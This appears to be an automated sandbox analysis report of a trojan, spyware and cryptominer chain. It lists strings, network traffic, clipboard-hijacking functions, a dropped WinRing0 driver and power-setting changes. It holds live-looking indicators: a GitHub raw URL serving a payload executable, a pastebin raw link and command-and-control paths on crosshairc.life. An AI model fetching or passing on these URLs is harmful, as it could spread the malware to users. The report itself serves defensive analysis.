Source: file_scaricato.exe, 0000000E.00000003.1501968338.0000000001611000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1502831286.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1527774265.0000000004392000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1553522423.0000000004395000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1553381929.0000000004395000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1527854977.0000000001616000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life/dAnjhw
Source: file_scaricato.exe, 0000000E.00000003.1553423146.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1553543650.000000000160F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life/dAnjhw2
Source: file_scaricato.exe, 0000000E.00000002.3732558298.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life/dAnjhwX
Source: file_scaricato.exe, 0000000E.00000003.1597210147.00000000015F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life/dAnjhwl
Source: file_scaricato.exe, 0000000E.00000003.1501931879.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1501968338.0000000001611000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life/dAnjhww
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life/s
Source: file_scaricato.exe, 0000000E.00000003.1580290621.000000000161A000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1555248179.0000000001611000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1527854977.0000000001616000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life:443/dAnjhw
Source: file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life:443/dAnjhwY
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtabv20-
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: Arly.exe1.exe String found in binary or memory: https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029C0000.00000004.00000800.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pastebin.com
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, logs.uce.15.dr, logs.uce1.15.dr, logs.uce0.15.dr String found in binary or memory: https://pastebin.com/raw/YpJeSRBC
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Arly.exe1.exe String found in binary or memory: https://www.entrust.net/rpa0
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: file_scaricato.exe, 0000000E.00000003.1529147339.00000000043B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.or
Source: file_scaricato.exe, 0000000E.00000003.1529147339.00000000043B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: unknown Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown Network traffic detected: HTTP traffic on port 56147 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56146 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56150 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56152 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56147
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56148
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56149
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56146
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56150
Source: unknown Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56152
Source: unknown Network traffic detected: HTTP traffic on port 56148 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 56149 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49698 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56146 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56147 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56148 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56149 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56150 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:56152 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_03631000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber, 14_2_03631000
Contains functionality to modify clipboard data
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_03631000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber, 14_2_03631000
Contains functionality to read the clipboard data
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_03631000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber, 14_2_03631000

System Summary
barindex
PE file has nameless sections
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: file_scaricato.exe.12.dr Static PE information: section name:
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\dmikhsv\file_scaricato.exe Jump to dropped file
Uses powercfg.exe to modify the power settings
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Abnormal high CPU Usage
Source: C:\dmikhsv\file_scaricato.exe Process Stats: CPU usage > 49%
Creates driver files
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe File created: C:\ProgramData\Dllhost\WinRing0x64.sys Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246E86E0 0_2_00007FF6246E86E0
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246E2F80 0_2_00007FF6246E2F80
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246E67D0 0_2_00007FF6246E67D0
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624704328 0_2_00007FF624704328
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F9AD0 0_2_00007FF6246F9AD0
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246E34A0 0_2_00007FF6246E34A0
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246E4510 0_2_00007FF6246E4510
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF62470D5BC 0_2_00007FF62470D5BC
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246FF550 0_2_00007FF6246FF550
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624709D44 0_2_00007FF624709D44
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6247035E8 0_2_00007FF6247035E8
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246FBDCC 0_2_00007FF6246FBDCC
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246ECE60 0_2_00007FF6246ECE60
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F8FA4 0_2_00007FF6246F8FA4
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624702F68 0_2_00007FF624702F68
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246E1000 0_2_00007FF6246E1000
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F7FDC 0_2_00007FF6246F7FDC
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246FE7CC 0_2_00007FF6246FE7CC
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246FD050 0_2_00007FF6246FD050
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624709128 0_2_00007FF624709128
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF62470B0AC 0_2_00007FF62470B0AC
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF62470C0AC 0_2_00007FF62470C0AC
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246FC960 0_2_00007FF6246FC960
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F81E0 0_2_00007FF6246F81E0
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6247052AC 0_2_00007FF6247052AC
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F8A98 0_2_00007FF6246F8A98
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624704A38 0_2_00007FF624704A38
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624702AD4 0_2_00007FF624702AD4
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF62470B0AC 0_2_00007FF62470B0AC
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624710354 0_2_00007FF624710354
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF62470EB80 0_2_00007FF62470EB80
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F83E4 0_2_00007FF6246F83E4
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEC010 14_2_00BEC010
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB8112 14_2_00BB8112
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC8390 14_2_00BC8390
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC14D0 14_2_00BC14D0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCF610 14_2_00BCF610
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD774D 14_2_00BD774D
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE3920 14_2_00BE3920
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBC907 14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BABA30 14_2_00BABA30
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BAEA60 14_2_00BAEA60
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB5BAA 14_2_00BB5BAA
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBBBD0 14_2_00BBBBD0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE3CD0 14_2_00BE3CD0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BECC10 14_2_00BECC10
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD6E1C 14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC3F3D 14_2_00BC3F3D
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD70BB 14_2_00BD70BB
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD70AB 14_2_00BD70AB
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE80C0 14_2_00BE80C0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE3030 14_2_00BE3030
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD7014 14_2_00BD7014
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBD05C 14_2_00BBD05C
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB1050 14_2_00BB1050
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BA1040 14_2_00BA1040
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC51F0 14_2_00BC51F0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE01C6 14_2_00BE01C6
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE3290 14_2_00BE3290
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC92F0 14_2_00BC92F0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BAA2C0 14_2_00BAA2C0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD723B 14_2_00BD723B
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC6220 14_2_00BC6220
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEB269 14_2_00BEB269
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD63A3 14_2_00BD63A3
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BAC380 14_2_00BAC380
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB733F 14_2_00BB733F
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCC337 14_2_00BCC337
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD031F 14_2_00BD031F
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD6E1C 14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC3374 14_2_00BC3374
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEB360 14_2_00BEB360
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEB344 14_2_00BEB344
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE54A0 14_2_00BE54A0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD6464 14_2_00BD6464
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBD5E8 14_2_00BBD5E8
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEB5D0 14_2_00BEB5D0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BA35C4 14_2_00BA35C4
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB9522 14_2_00BB9522
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC5520 14_2_00BC5520
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEC500 14_2_00BEC500
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB06A3 14_2_00BB06A3
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BAC6E0 14_2_00BAC6E0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BDE6D0 14_2_00BDE6D0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD9601 14_2_00BD9601
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEB670 14_2_00BEB670
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BA4792 14_2_00BA4792
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE37F0 14_2_00BE37F0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BDA7EB 14_2_00BDA7EB
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD18B8 14_2_00BD18B8
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCE8B0 14_2_00BCE8B0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEC890 14_2_00BEC890
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE48F0 14_2_00BE48F0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCA82D 14_2_00BCA82D
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE29FB 14_2_00BE29FB
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB69F3 14_2_00BB69F3
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCC9F0 14_2_00BCC9F0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBE9C7 14_2_00BBE9C7
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BEAABA 14_2_00BEAABA
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD0AF8 14_2_00BD0AF8
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC0AF0 14_2_00BC0AF0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB3A30 14_2_00BB3A30
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC4A30 14_2_00BC4A30
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCFA40 14_2_00BCFA40
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BDABB9 14_2_00BDABB9
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD5BF8 14_2_00BD5BF8
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD9B19 14_2_00BD9B19
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BDEB50 14_2_00BDEB50
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BA8B47 14_2_00BA8B47
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD0CB7 14_2_00BD0CB7
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBDCAD 14_2_00BBDCAD
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE4C80 14_2_00BE4C80
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCECE0 14_2_00BCECE0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBFCD2 14_2_00BBFCD2
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BAFC30 14_2_00BAFC30
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC8C40 14_2_00BC8C40
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBAD90 14_2_00BBAD90
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BA7DEE 14_2_00BA7DEE
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCCD10 14_2_00BCCD10
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE9B8D 14_2_00BE9B8D
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BABD70 14_2_00BABD70
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD7D60 14_2_00BD7D60
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BA3EB0 14_2_00BA3EB0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BDFEF2 14_2_00BDFEF2
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BADECC 14_2_00BADECC
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD8E03 14_2_00BD8E03
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BACE40 14_2_00BACE40
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BC0FB1 14_2_00BC0FB1
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BACFA0 14_2_00BACFA0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BA6F90 14_2_00BA6F90
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BDCF8C 14_2_00BDCF8C
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BD1F38 14_2_00BD1F38
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BCCF3B 14_2_00BCCF3B
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BA8F30 14_2_00BA8F30
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBC907 14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_033C58C8 14_2_033C58C8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_00CCF2E4 15_2_00CCF2E4
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028CB338 15_2_028CB338
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028CA040 15_2_028CA040
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028C6700 15_2_028C6700
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028C9770 15_2_028C9770
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028CDA88 15_2_028CDA88
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028CC878 15_2_028CC878
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028CB327 15_2_028CB327
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028C66F0 15_2_028C66F0
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028C9428 15_2_028C9428
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028C0508 15_2_028C0508
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028C0518 15_2_028C0518
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028CDA7A 15_2_028CDA7A
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 15_2_028CC86A 15_2_028CC86A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_04DEB570 18_2_04DEB570
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_04DEB550 18_2_04DEB550
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\Dllhost\WinRing0x64.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe 483B1D7DAC70DE82E9B22A0C1ED775CF7E10B0A3790C5AA1B9215DBCD1754302
Found potential string decryption / allocating functions
Source: C:\dmikhsv\file_scaricato.exe Code function: String function: 00BAB2B0 appears 46 times
Source: C:\dmikhsv\file_scaricato.exe Code function: String function: 00BBAD80 appears 99 times
PE / OLE file has an invalid certificate
Source: Arly.exe1.exe Static PE information: invalid certificate
PE file contains more sections than normal
Source: winlogson.exe.15.dr Static PE information: Number of sections : 11 > 10
PE file does not import any functions
Source: winlogson.exe.15.dr Static PE information: No import functions for PE file found
PE file overlay found
Source: winlogson.exe.15.dr Static PE information: Data appended to the last section found
Source: file_scaricato.exe.12.dr Static PE information: Section: ZLIB complexity 0.9996308117378049
Source: file_scaricato.exe.12.dr Static PE information: Section: ZLIB complexity 1.00048828125
Source: file_scaricato.exe.12.dr Static PE information: Section: ZLIB complexity 0.993828125
Source: file_scaricato.exe.12.dr Static PE information: Section: ZLIB complexity 0.9975873161764706
Source: file_scaricato.exe.12.dr Static PE information: Section: .data ZLIB complexity 0.9971385439410481
Source: WinRing0x64.sys.15.dr Binary string: \Device\WinRing0_1_2_0
Source: classification engine Classification label: mal100.troj.spyw.evad.mine.winEXE@39/19@4/5
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4992:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Mutant created: \Sessions\1\BaseNamedObjects\ProgramV3
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3272:120:WilError_03
